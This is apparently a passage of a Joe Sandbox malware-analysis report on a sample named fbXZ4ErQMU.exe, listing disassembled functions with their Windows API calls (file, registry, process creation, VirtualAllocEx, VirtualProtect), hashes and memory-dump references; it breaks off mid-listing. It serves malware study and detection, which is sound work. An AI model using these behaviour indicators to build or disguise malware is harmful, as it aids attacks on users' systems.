Opcode Fuzzy Hash: 86a36fe79f27c55ffb4f68e9eb19a7d4fc21bb30cdd0e1b9c8c3d4c34093b0ac
Instruction Fuzzy Hash: F7E08672A0421177D2105A74BE0893B72A8DE89740302043EF546F2144D7389C71966D

Function 00405C90 Relevance: 3.0, APIs: 2, Instructions: 16fileCOMMON

Download Yara Rule

APIs

GetFileAttributesA.KERNELBASE(00000003,00402EE1,C:\Users\user\Desktop\fbXZ4ErQMU.exe,80000000,00000003), ref: 00405C94
CreateFileA.KERNELBASE(?,?,00000001,00000000,?,00000001,00000000), ref: 00405CB6

Memory Dump Source

Source File: 00000000.00000002.53290861252.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.53290796457.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.53290912782.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.53290961705.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.53290961705.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.53290961705.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.53290961705.000000000044E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.53290961705.0000000000455000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.53291232127.0000000000458000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_fbXZ4ErQMU.jbxd

Similarity

API ID: File$AttributesCreate
String ID:
API String ID: 415043291-0
Opcode ID: 495096ec3bada98d59396949f3e5d8db788c55d9a14f95543a77051fd5c04aa8
Instruction ID: ee59d6d0e1d409ab4f08bbdf592326cff3c7222ef74ae4255e7f212f1854b30f
Opcode Fuzzy Hash: 495096ec3bada98d59396949f3e5d8db788c55d9a14f95543a77051fd5c04aa8
Instruction Fuzzy Hash: F5D09E31654201AFEF0D8F20DE16F2E7AA2EB84B00F11952CB782941E1DA715819AB19

Function 00405761 Relevance: 3.0, APIs: 2, Instructions: 9COMMON

Download Yara Rule

APIs

CreateDirectoryA.KERNELBASE(?,00000000,0040333B,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,0040355A,?,00000007,00000009,0000000B), ref: 00405767
GetLastError.KERNEL32(?,00000007,00000009,0000000B), ref: 00405775

Memory Dump Source

Source File: 00000000.00000002.53290861252.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.53290796457.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.53290912782.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.53290961705.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.53290961705.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.53290961705.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.53290961705.000000000044E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.53290961705.0000000000455000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.53291232127.0000000000458000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_fbXZ4ErQMU.jbxd

Similarity

API ID: CreateDirectoryErrorLast
String ID:
API String ID: 1375471231-0
Opcode ID: 16e4c654e9ce22ade12b11bcec0acffe1e0d8e5e5550dff24455bfee17a8caa2
Instruction ID: 5acf30d11c51c39224c83c09ee2e5989404a14e094893e30e7ab7d3df00569a4
Opcode Fuzzy Hash: 16e4c654e9ce22ade12b11bcec0acffe1e0d8e5e5550dff24455bfee17a8caa2
Instruction Fuzzy Hash: 21C04C31244505EFD6105B30AE08F177A90AB50741F1644396186E10B0EA388455E96D

Function 70052A38 Relevance: 1.6, APIs: 1, Instructions: 143memoryCOMMON

Download Yara Rule

APIs

VirtualAllocEx.KERNELBASE(00000000), ref: 70052AF7

Memory Dump Source

Source File: 00000000.00000002.53321356153.0000000070051000.00000020.00000001.01000000.00000005.sdmp, Offset: 70050000, based on PE: true

Associated: 00000000.00000002.53321293003.0000000070050000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000000.00000002.53321420725.0000000070053000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000000.00000002.53321477933.0000000070055000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_70050000_fbXZ4ErQMU.jbxd

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: a7f36b9d41e94d27e7a27f86776a389fd0f0776cb09cf60f358c111fd05c904e
Instruction ID: acfd1222973212a052e32f38a801abca2f50c5095665c4b4b98c1713c5d1b4b3
Opcode Fuzzy Hash: a7f36b9d41e94d27e7a27f86776a389fd0f0776cb09cf60f358c111fd05c904e
Instruction Fuzzy Hash: E3414B73504204DFEB219FB5DC82F9D37B5EF46B38F305829E605D62A1D774A8888BA1

Function 0040266D Relevance: 1.6, APIs: 1, Instructions: 76COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.53290861252.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.53290796457.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.53290912782.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.53290961705.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.53290961705.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.53290961705.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.53290961705.000000000044E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.53290961705.0000000000455000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.53291232127.0000000000458000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_fbXZ4ErQMU.jbxd

Similarity

API ID: wsprintf
String ID:
API String ID: 2111968516-0
Opcode ID: 367ecb1198001a867d8e3b7756d3c175cfd735077116dd6966e3788219f0b2a9
Instruction ID: 7f5a5d1368c13d317d2e99ee4d98356b480ceadea176dd08c5889da6900fd1c4
Opcode Fuzzy Hash: 367ecb1198001a867d8e3b7756d3c175cfd735077116dd6966e3788219f0b2a9
Instruction Fuzzy Hash: 7E21B730D04299FADF328BA885886AEBB749F11314F1440BFE491B73D1C2BD8A85DB19

Function 0040166A Relevance: 1.5, APIs: 1, Instructions: 38fileCOMMON

Download Yara Rule

APIs

MoveFileA.KERNEL32(00000000,00000000), ref: 00401685

Memory Dump Source

Source File: 00000000.00000002.53290861252.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.53290796457.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.53290912782.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.53290961705.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.53290961705.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.53290961705.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.53290961705.000000000044E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.53290961705.0000000000455000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.53291232127.0000000000458000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_fbXZ4ErQMU.jbxd

Similarity

API ID: FileMove
String ID:
API String ID: 3562171763-0
Opcode ID: 1edc5c0a003d732ce3bee6573eefb30b8b2fa69015ea7de72e37931521f2516e
Instruction ID: c16fe538d576f0a812f108a5c598968f2bbae53de2c44bc87e09c6d73b5458c5
Opcode Fuzzy Hash: 1edc5c0a003d732ce3bee6573eefb30b8b2fa69015ea7de72e37931521f2516e
Instruction Fuzzy Hash: EEF01D3160852496DB20ABA54E49E5F3264DB42769B24033BF422B21D1EABC8542956E

Function 0040272B Relevance: 1.5, APIs: 1, Instructions: 28COMMON

Download Yara Rule

APIs

SetFilePointer.KERNELBASE(00000000,?,00000000,?,?), ref: 00402749

Part of subcall function 00406055: wsprintfA.USER32 ref: 00406062

Memory Dump Source

Source File: 00000000.00000002.53290861252.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.53290796457.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.53290912782.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.53290961705.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.53290961705.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.53290961705.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.53290961705.000000000044E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.53290961705.0000000000455000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.53291232127.0000000000458000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_fbXZ4ErQMU.jbxd

Similarity

API ID: FilePointerwsprintf
String ID:
API String ID: 327478801-0
Opcode ID: 6490c60e78b8e72c9ff7044d1ebd2fda03870678213011db9787ff048aa9e55a
Instruction ID: d2cb0ca5e863be2ef59b536234997f243a65a7806d73518010ac019a9530af38
Opcode Fuzzy Hash: 6490c60e78b8e72c9ff7044d1ebd2fda03870678213011db9787ff048aa9e55a
Instruction Fuzzy Hash: 7EE09271B00114EED711FBA4AE49DBF77B8EB40315B10403BF102F10C1CABC49128A2E

Function 0040239C Relevance: 1.5, APIs: 1, Instructions: 26COMMON

Download Yara Rule

APIs

WritePrivateProfileStringA.KERNEL32(00000000,00000000,?,00000000), ref: 004023D5

Memory Dump Source

Source File: 00000000.00000002.53290861252.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.53290796457.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.53290912782.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.53290961705.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.53290961705.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.53290961705.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.53290961705.000000000044E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.53290961705.0000000000455000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.53291232127.0000000000458000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_fbXZ4ErQMU.jbxd

Similarity

API ID: PrivateProfileStringWrite
String ID:
API String ID: 390214022-0
Opcode ID: cd8b371b6f55f1d33d0eddf2f35f8062392e7128ea2648a4caa2e71cbd90ff81
Instruction ID: a2264a5e3b04165b7de03e79847980bb6a424129cbe2f78830b73284cd35be0b
Opcode Fuzzy Hash: cd8b371b6f55f1d33d0eddf2f35f8062392e7128ea2648a4caa2e71cbd90ff81
Instruction Fuzzy Hash: F8E04831610114ABD7203EB14F8D97F31A9DB44304B34153FBA11761C6D9FC5C414279

Function 0040171F Relevance: 1.5, APIs: 1, Instructions: 24COMMON

Download Yara Rule

APIs

SearchPathA.KERNELBASE(?,00000000,?,00000400,?,?,000000FF), ref: 00401733

Memory Dump Source

Source File: 00000000.00000002.53290861252.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.53290796457.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.53290912782.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.53290961705.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.53290961705.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.53290961705.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.53290961705.000000000044E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.53290961705.0000000000455000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.53291232127.0000000000458000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_fbXZ4ErQMU.jbxd

Similarity

API ID: PathSearch
String ID:
API String ID: 2203818243-0
Opcode ID: e053cd0a5a713bcd6573213f31fe775dca372833d122c7f25a227a8b80c7c065
Instruction ID: 99b882ef8ac932529d6fdfe3c41faefb6a71927cb26e20fd81cb329c01224dc0
Opcode Fuzzy Hash: e053cd0a5a713bcd6573213f31fe775dca372833d122c7f25a227a8b80c7c065
Instruction Fuzzy Hash: 93E0DF72304210EFD710DF649E49BAB37A8DF10368B20427AE111A60C2E6F89906873D

Function 00405FAB Relevance: 1.5, APIs: 1, Instructions: 24registryCOMMON

Download Yara Rule

APIs

RegCreateKeyExA.KERNELBASE(00000000,?,00000000,00000000,00000000,?,00000000,?,00000000,?,?,?,00402C7F,00000000,?,?), ref: 00405FD4

Memory Dump Source

Source File: 00000000.00000002.53290861252.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.53290796457.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.53290912782.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.53290961705.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.53290961705.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.53290961705.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.53290961705.000000000044E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.53290961705.0000000000455000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.53291232127.0000000000458000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_fbXZ4ErQMU.jbxd

Similarity

API ID: Create
String ID:
API String ID: 2289755597-0
Opcode ID: 33f0ef72135594440bd39ae1090de480165a05d63dfabbbeebd316e266d8c237
Instruction ID: 8c71f3c26dc4a4bf3eef9e60a583d004d00a96479e721722a8f6be6a9d57506c
Opcode Fuzzy Hash: 33f0ef72135594440bd39ae1090de480165a05d63dfabbbeebd316e266d8c237
Instruction Fuzzy Hash: 1CE0E6B201450ABEDF095F50DD0ED7B3B1DE704300F14452EF906D4050E6B5A9205A34

Function 00405D08 Relevance: 1.5, APIs: 1, Instructions: 22fileCOMMON

Download Yara Rule

APIs

ReadFile.KERNELBASE(00000000,00000000,00000004,00000004,00000000,000000FF,?,004032FD,00000000,00000000,00403127,000000FF,00000004,00000000,00000000,00000000), ref: 00405D1C

Memory Dump Source

Source File: 00000000.00000002.53290861252.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.53290796457.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.53290912782.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.53290961705.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.53290961705.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.53290961705.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.53290961705.000000000044E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.53290961705.0000000000455000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.53291232127.0000000000458000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_fbXZ4ErQMU.jbxd

Similarity

API ID: FileRead
String ID:
API String ID: 2738559852-0
Opcode ID: da94c88c01f32db49c143d41d40f73f2c481f3bafd85dc9fd8b917d4e0158b31
Instruction ID: 6bc3b1048b15a49576125e72cb6f14b4cec2b2626e36b687d4021167e808d8fe
Opcode Fuzzy Hash: da94c88c01f32db49c143d41d40f73f2c481f3bafd85dc9fd8b917d4e0158b31
Instruction Fuzzy Hash: 2BE08C3221021EABCF109E608C08EEB3B6CEF00360F048833FD54E2140D234E8209BA4

Function 00405D37 Relevance: 1.5, APIs: 1, Instructions: 22fileCOMMON

Download Yara Rule

APIs

WriteFile.KERNELBASE(00000000,00000000,00000004,00000004,00000000,000000FF,?,004032B3,00000000,0041D448,000000FF,0041D448,000000FF,000000FF,00000004,00000000), ref: 00405D4B

Memory Dump Source

Source File: 00000000.00000002.53290861252.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.53290796457.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.53290912782.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.53290961705.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.53290961705.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.53290961705.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.53290961705.000000000044E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.53290961705.0000000000455000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.53291232127.0000000000458000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_fbXZ4ErQMU.jbxd

Similarity

API ID: FileWrite
String ID:
API String ID: 3934441357-0
Opcode ID: 3dec9289c2e50997f5b7f42c7d661c3d3292bfbb80aff78175bf8fde073ef60e
Instruction ID: 0f83f4d47d9459a9b0ba24ed2798b341cbbd10940215494d2392ac534f962254
Opcode Fuzzy Hash: 3dec9289c2e50997f5b7f42c7d661c3d3292bfbb80aff78175bf8fde073ef60e
Instruction Fuzzy Hash: 41E08C3220025AABCF10AFA08C04EEB3B6CEF00360F008833FA15E7050D630E8219BA8

Function 70052921 Relevance: 1.5, APIs: 1, Instructions: 21memoryCOMMON

Download Yara Rule

APIs

VirtualProtect.KERNELBASE(7005404C,00000004,00000040,7005403C), ref: 7005293F

Memory Dump Source

Source File: 00000000.00000002.53321356153.0000000070051000.00000020.00000001.01000000.00000005.sdmp, Offset: 70050000, based on PE: true

Associated: 00000000.00000002.53321293003.0000000070050000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000000.00000002.53321420725.0000000070053000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000000.00000002.53321477933.0000000070055000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_70050000_fbXZ4ErQMU.jbxd

Similarity

API ID: ProtectVirtual
String ID:
API String ID: 544645111-0
Opcode ID: 08fa498c831ed0198e4c602dbf5b0246b99bc1b581c5534920356d536e1b1b0c
Instruction ID: c1c453edea60cd1cb07df67bc54b9271dca96556d54e3eb12db22aca028c8887
Opcode Fuzzy Hash: 08fa498c831ed0198e4c602dbf5b0246b99bc1b581c5534920356d536e1b1b0c
Instruction Fuzzy Hash: FEF092B3508380DEE760CF7A8C44F863EF0A719678B31692AE798D62E1E3B440488B11

Function 004023E0 Relevance: 1.5, APIs: 1, Instructions: 20COMMON

Download Yara Rule

APIs

GetPrivateProfileStringA.KERNEL32(00000000,?,?,?,000003FF,00000000), ref: 00402413

Memory Dump Source

Source File: 00000000.00000002.53290861252.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.53290796457.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.53290912782.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.53290961705.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.53290961705.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.53290961705.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.53290961705.000000000044E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.53290961705.0000000000455000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.53291232127.0000000000458000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_fbXZ4ErQMU.jbxd

Similarity

API ID: PrivateProfileString
String ID:
API String ID: 1096422788-0
Opcode ID: b20ff68c1f91e8945650ad06eb6636fe2efcf37a6f72d7170e5f25b2e3b7c808
Instruction ID: ec2b9ed2aa8753cc56e49b6d1f5b0ead50a941972cde74363bc07da0fbfd84e4
Opcode Fuzzy Hash: b20ff68c1f91e8945650ad06eb6636fe2efcf37a6f72d7170e5f25b2e3b7c808
Instruction Fuzzy Hash: 40E04630904208BAEB006FA08E09EAD3A79EF01710F20003AF9617B0D1E6B89482D72E

Function 00405F7D Relevance: 1.5, APIs: 1, Instructions: 19registryCOMMON

Download Yara Rule

APIs

RegOpenKeyExA.KERNELBASE(00000000,?,00000000,?,?,0042A070,?,?,0040600B,0042A070,?,?,?,00000002,Call), ref: 00405FA1

Memory Dump Source

Source File: 00000000.00000002.53290861252.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.53290796457.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.53290912782.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.53290961705.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.53290961705.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.53290961705.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.53290961705.000000000044E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.53290961705.0000000000455000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.53291232127.0000000000458000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_fbXZ4ErQMU.jbxd

Similarity

API ID: Open
String ID:
API String ID: 71445658-0
Opcode ID: dcd566976f3bef00ddda20b11fb2537fa700d8cbfb920dfffbe2909342267143
Instruction ID: 8d979316dbb681ef417a562383420c35b8ea1d7cbf1ba97b3ef1f912197d15a8
Opcode Fuzzy Hash: dcd566976f3bef00ddda20b11fb2537fa700d8cbfb920dfffbe2909342267143
Instruction Fuzzy Hash: 26D0EC7200460ABBDF115E90DD05FAB3B1DEB08310F044426FA05E5091D679D530AA25

Function 0040159D Relevance: 1.5, APIs: 1, Instructions: 18COMMON

Download Yara Rule

APIs

SetFileAttributesA.KERNELBASE(00000000,?,000000F0), ref: 004015A8

Memory Dump Source

Source File: 00000000.00000002.53290861252.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.53290796457.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.53290912782.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.53290961705.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.53290961705.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.53290961705.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.53290961705.000000000044E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.53290961705.0000000000455000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.53291232127.0000000000458000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_fbXZ4ErQMU.jbxd

Similarity

API ID: AttributesFile
String ID:
API String ID: 3188754299-0
Opcode ID: 5887674a1f5513ec9541be2dff6cbc71c684969360942c525d855edfecb85619
Instruction ID: 936ed37629fa473271aaed7dd48578ad272974d6d3f069640798472dc64bc079
Opcode Fuzzy Hash: 5887674a1f5513ec9541be2dff6cbc71c684969360942c525d855edfecb85619
Instruction Fuzzy Hash: F6D01232704115DBDB10EFA59B08A9E73B5EB10325B308277E111F21D1E6B9C9469A2D

Function 00403300 Relevance: 1.5, APIs: 1, Instructions: 6COMMON

Download Yara Rule

APIs

SetFilePointer.KERNELBASE(00000000,00000000,00000000,00403066,?), ref: 0040330E

Memory Dump Source

Source File: 00000000.00000002.53290861252.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.53290796457.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.53290912782.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.53290961705.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.53290961705.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.53290961705.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.53290961705.000000000044E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.53290961705.0000000000455000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.53291232127.0000000000458000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_fbXZ4ErQMU.jbxd

Similarity

API ID: FilePointer
String ID:
API String ID: 973152223-0
Opcode ID: 3686d685932152b10745f2b752acc0f7a7db7aadca6958b8d51083a7e9476777
Instruction ID: eadcf480fe67690f272c505b4903882a1233053cb438a9b9796e5ea94341b5dd
Opcode Fuzzy Hash: 3686d685932152b10745f2b752acc0f7a7db7aadca6958b8d51083a7e9476777
Instruction Fuzzy Hash: 25B09231140200AADA215F409E09F057B21AB94700F208424B244280F086712025EA0D

Function 00401F7B Relevance: 1.3, APIs: 1, Instructions: 37COMMON

Download Yara Rule

APIs

Part of subcall function 0040521E: lstrlenA.KERNEL32(0042A070,00000000,00424248,75A523A0,?,?,?,?,?,?,?,?,?,00403233,00000000,?), ref: 00405257
Part of subcall function 0040521E: lstrlenA.KERNEL32(00403233,0042A070,00000000,00424248,75A523A0,?,?,?,?,?,?,?,?,?,00403233,00000000), ref: 00405267
Part of subcall function 0040521E: lstrcatA.KERNEL32(0042A070,00403233,00403233,0042A070,00000000,00424248,75A523A0), ref: 0040527A
Part of subcall function 0040521E: SetWindowTextA.USER32(0042A070,0042A070), ref: 0040528C
Part of subcall function 0040521E: SendMessageA.USER32(?,00001004,00000000,00000000), ref: 004052B2
Part of subcall function 0040521E: SendMessageA.USER32(?,00001007,00000000,00000001), ref: 004052CC
Part of subcall function 0040521E: SendMessageA.USER32(?,00001013,?,00000000), ref: 004052DA

Part of subcall function 00405796: CreateProcessA.KERNELBASE(00000000,?,00000000,00000000,00000000,04000000,00000000,00000000,0042C098,Error launching installer), ref: 004057BF
Part of subcall function 00405796: CloseHandle.KERNEL32(?), ref: 004057CC

CloseHandle.KERNEL32(?,?,?,?,?,?), ref: 00401FC0

Part of subcall function 00406575: WaitForSingleObject.KERNEL32(?,00000064), ref: 00406586
Part of subcall function 00406575: GetExitCodeProcess.KERNEL32(?,?), ref: 004065A8

Part of subcall function 00406055: wsprintfA.USER32 ref: 00406062

Memory Dump Source

Source File: 00000000.00000002.53290861252.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.53290796457.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.53290912782.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.53290961705.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.53290961705.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.53290961705.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.53290961705.000000000044E000.00000004.00000001.01000000.00000003.sdmpDownload File
